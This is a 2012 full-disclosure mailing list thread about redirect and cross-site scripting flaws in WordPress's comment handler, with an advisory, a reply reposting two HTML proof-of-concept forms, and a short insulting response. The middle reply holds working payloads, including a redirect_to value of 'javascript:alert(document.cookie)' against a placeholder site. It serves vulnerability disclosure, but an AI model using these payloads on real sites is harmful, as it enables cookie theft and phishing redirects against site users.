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Message-ID: <CAEJizba2LBAEMVfQ0zs3KaZ8o8Y4efvGap7SOHD7cGvzCqGUrw@mail.gmail.com>
Date: Sat, 5 May 2012 15:00:36 +0100
From: Benji <me@...ji.com>
To: InterN0T Advisories <advisories@...ern0t.net>
Cc: full-disclosure@...ts.grok.org.uk, submissions@...ketstormsecurity.org
Subject: Re: IAA,
	Redirector and XSS vulnerabilities in WordPress

Wow, yiou're like the jehovahs witnessess of the internet.

Stop with the childish bitching and grow up. Last time I checked
intern0t was also a script kid breeding ground.

On Sat, May 5, 2012 at 2:54 PM, InterN0T Advisories
<advisories@...ern0t.net> wrote:
> Hi List,
>
> To stop MustLive's desperate act of trying to get visitors (and more
> backlinks) to his website, I have for those that doesn't want to go to
> there, just to see the PoC's but actually read them on this mailing list
> like almost _every other_ Proof of Concept / exploit, made them available
> below.
>
> Contents of Wordpress Redirector:
> <html>
> <head>
> <title>WordPress Redirector exploit (lol?) (C) 2012 MustLive.
> [removed]</title>
> </head>
> <!-- <body onLoad="document.hack.submit()"> -->
> <body>
> <form name="hack" action="http://site/wp-comments-post.php" method="post">
> <input type="hidden" name="author" value="Test" />
> <input type="hidden" name="email" value="test@...t.test" />
> <input type="hidden" name="comment" value="Test" />
> <input type="hidden" name="comment_post_ID" value="1" />
> <input type="hidden" name="redirect_to" value="http://awebsite.tld" />
> </form>
> </body>
> </html>
> --------------------------------------
>
> Contents of Wordpress XSS:
> <html>
> <head>
> <title>WordPress XSS exploit (lol?) (C) 2012 MustLive. [removed]</title>
> </head>
> <!-- <body onLoad="document.hack.submit()"> -->
> <body>
> <form name="hack" action="http://site/wp-comments-post.php" method="post">
> <input type="hidden" name="author" value="Test" />
> <input type="hidden" name="email" value="test@...t.test" />
> <input type="hidden" name="comment" value="Test21" />
> <input type="hidden" name="comment_post_ID" value="1" />
> <input type="hidden" name="redirect_to"
> value="javascript:alert%28document.cookie%29//" />
> </form>
> </body>
> </html>
> --------------------------------------
>
> I don't really have any comments about these "exploits".
>
>
>
> Best regards,
> Nemesis 3.0
>
>
> On Sat, 5 May 2012 16:01:53 +0300, "MustLive"
> <mustlive@...security.com.ua>
> wrote:
>> Hello list!
>>
>> I want to warn you about security vulnerabilities in WordPress.
>>
>> These are Insufficient Anti-automation, Redirector and Cross-Site
>> Scripting
>> vulnerabilities.
>>
>> -------------------------
>> Affected products:
>> -------------------------
>>
>> Vulnerable are WordPress 2.0 - 3.3.1.
>>
>> ----------
>> Details:
>> ----------
>>
>> Already from WP 2.0 there are Insufficient Anti-automation, Redirector
> and
>> XSS vulnerabilities in wp-comments-post.php. With IAA I've faced just
> when
>> begun using WP in 2006. If the developers fixed vulnerabilities in
>> previous
>> two redirectors in WP 2.3, then these vulnerabilities were not fixed
> even
>> in
>> WP 3.3.1
>>
>> IAA (WASC-21):
>>
>> Lack of captcha in comment form allows to conduct automated attacks. The
>
>> developers still haven't put captcha in WP comments form (from the first
>
>> version of engine), which besides IAA attacks, also allowed to conduct
>> Redirector and XSS attacks.
>>
>> By default in WordPress the premoderation is turned on, and also there
> is
>> built-in anti-spam filter. But if 10 years ago the premoderation would
> be
>> enough, then long ago this mechanism couldn't be considered as
> sufficient
>> protection against spam, and anti-spam filter had efficiency less then
> 1%
>> -
>> only few from spam messages he marked as spam. And also these mechanisms
>
>> don't protect against below-mentioned attacks. Also plugin Akismet is
>> bundled with WP, which is "captcha-less" protection against spam. But by
>
>> default it's turned off and comparing with captcha it's considered as
> less
>> efficient and also doesn't protect against below-mentioned attacks.
>>
>> Redirector (URL Redirector Abuse) (WASC-38):
>>
>> Exploit:
>>
>> [Removed]
>>
>> XSS (WASC-08):
>>
>> Exploit:
>>
>> [Removed]
>>
>> XSS attack is possible on different browsers, but it's harder to conduct
>
>> then in case of previous two redirectors (via data URI). At IIS web
>> servers
>> the redirect is going via Refresh header, and at other web servers - via
>
>> Location header.
>>
>> Due to nuances of work of this script (filtering of important symbols
> and
>> adding of anchor), for execution of JS code it's needed to use tricky
>> bypass
>> methods. This complexity exists as with javascript URI, as with combo
>> variant javascript URI + data URI.
>>
>> Reliable captcha protects against IAA, Redirector and XSS
> vulnerabilities.
>>
>> ------------
>> Timeline:
>> ------------
>>
>> 2012.04.26 - disclosed at my site
>>
>> Best wishes & regards,
>> MustLive
>> Administrator of Websecurity web site
>>
>>
>>
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